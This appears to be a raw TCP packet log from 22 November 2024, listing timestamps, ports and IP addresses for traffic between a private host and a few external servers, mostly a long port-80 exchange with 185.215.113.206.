Nov 22, 2024 00:11:52.967308044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.967355967 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.968319893 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.968388081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.968497038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.968614101 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.969430923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.969496012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.969511986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.969542980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.970484972 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.970532894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.970596075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.970671892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.971597910 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.971702099 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.971720934 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.971760988 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.972721100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.972764015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.972800970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.973022938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.985600948 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.985619068 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.985666990 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.985708952 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.985726118 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.985771894 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.985771894 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.025456905 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.025492907 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.025542974 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.025563002 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.025593996 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.025604963 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.036039114 CET	443	49860	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.036926031 CET	49860	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.036963940 CET	443	49860	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.037451982 CET	49860	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.037458897 CET	443	49860	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.052735090 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.052746058 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.052799940 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.052829027 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.052884102 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.052900076 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.052927971 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.083333015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.097862005 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.097884893 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.097995996 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.098038912 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.098056078 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.098124981 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.159537077 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.159567118 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.159648895 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.159676075 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.159693003 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.159770012 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.167929888 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.168030024 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.168034077 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.168133020 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.169775963 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.169804096 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.203242064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.245291948 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.245315075 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.245369911 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.245413065 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.245433092 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.245546103 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.274131060 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.274152040 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.274219990 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.274255991 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.274296045 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.295309067 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.295336008 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.295397043 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.295428991 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.295447111 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.295600891 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.302887917 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.302916050 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.302966118 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.303040028 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.303064108 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.303133965 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.313657045 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.313678980 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.313751936 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.313787937 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.313832045 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.385130882 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.404624939 CET	49862	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.404665947 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.405183077 CET	49862	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.405188084 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.451035976 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.451061964 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.451117039 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.451138020 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.451164961 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.451186895 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.465622902 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.465642929 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.465713978 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.465735912 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.465780973 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.473890066 CET	443	49860	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.473994017 CET	443	49860	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.474703074 CET	49860	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.474843025 CET	49860	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.474860907 CET	443	49860	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.474894047 CET	49860	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.474900007 CET	443	49860	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.477650881 CET	49870	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.477714062 CET	443	49870	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.477894068 CET	49870	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.481232882 CET	49870	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.481266022 CET	443	49870	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.482518911 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.482539892 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.482656002 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.482666016 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.482718945 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.499470949 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.499495029 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.499583960 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.499598980 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.499855995 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.504980087 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.505008936 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.505096912 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.505122900 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.505192995 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.514082909 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.514101028 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.514163971 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.514175892 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.514238119 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.532196045 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.532219887 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.532293081 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.532309055 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.532382011 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.532502890 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.534096956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.534168005 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.534193039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.534240007 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.534424067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.534473896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.534523010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.534575939 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.535474062 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.535548925 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.535620928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.535670996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.536247015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.536293983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.536339045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.536380053 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.537278891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.537364960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.537408113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.537481070 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.538392067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.538448095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.538491011 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.538623095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.539478064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.539561033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.539599895 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.539709091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.540594101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.540656090 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.540719986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.540781021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.541706085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.541765928 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.541807890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.541976929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.542800903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.542890072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.542989016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.543078899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.543929100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.543983936 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.544049978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.544100046 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.545017958 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.545094967 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.545137882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.545192003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.546144009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.546188116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.546197891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.546327114 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.547214985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.547271013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.547319889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.547516108 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.548325062 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.548387051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.548465967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.548516035 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.549408913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.549464941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.549536943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.549598932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.550621033 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.550633907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.550856113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.551528931 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.551558018 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.551613092 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.551621914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.551634073 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.551635027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.551656008 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.551707983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.551769018 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.552668095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.552736044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.552767038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.552875042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.553044081 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.553651094 CET	49863	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.553669930 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.553745985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.553869009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.553922892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.554106951 CET	49863	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.554114103 CET	443	49863	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.554876089 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.555000067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.555033922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.555078983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.555948973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.556014061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.556051016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.556092024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.557039022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.557110071 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.557166100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.558209896 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.558278084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.558316946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.558370113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.559245110 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.559367895 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.559371948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.559506893 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.560323954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.560388088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.560456991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.560520887 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.561428070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.561494112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.561552048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.561641932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.562514067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.562526941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.562607050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.563632011 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.563687086 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.563713074 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.563761950 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.564703941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.564765930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.564851046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.564901114 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.565790892 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.565850973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.565907955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.565979004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.566914082 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.566972017 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.567023993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.567076921 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.568017006 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.568075895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.568120956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.568197966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.569098949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.569165945 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.569202900 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.569251060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.570190907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.570246935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.570293903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.570405006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.571259975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.571367025 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.571405888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.571496010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.572454929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.572552919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.572685957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.573451042 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.573504925 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.573633909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.573688030 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.574542046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.574599981 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.574651003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.574723005 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.575639963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.575742006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.575774908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.575895071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.576762915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.576817036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.576853991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.576937914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.577852964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.577954054 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.577960014 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.578048944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.578927994 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.578989983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.579030037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.579085112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.580029964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.580084085 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.580157042 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.580212116 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.581124067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.581177950 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.581244946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.581307888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.582211018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.582320929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.582416058 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.583348989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.583411932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.583442926 CET	80	49788	185.215.113.206	192.168.2.5
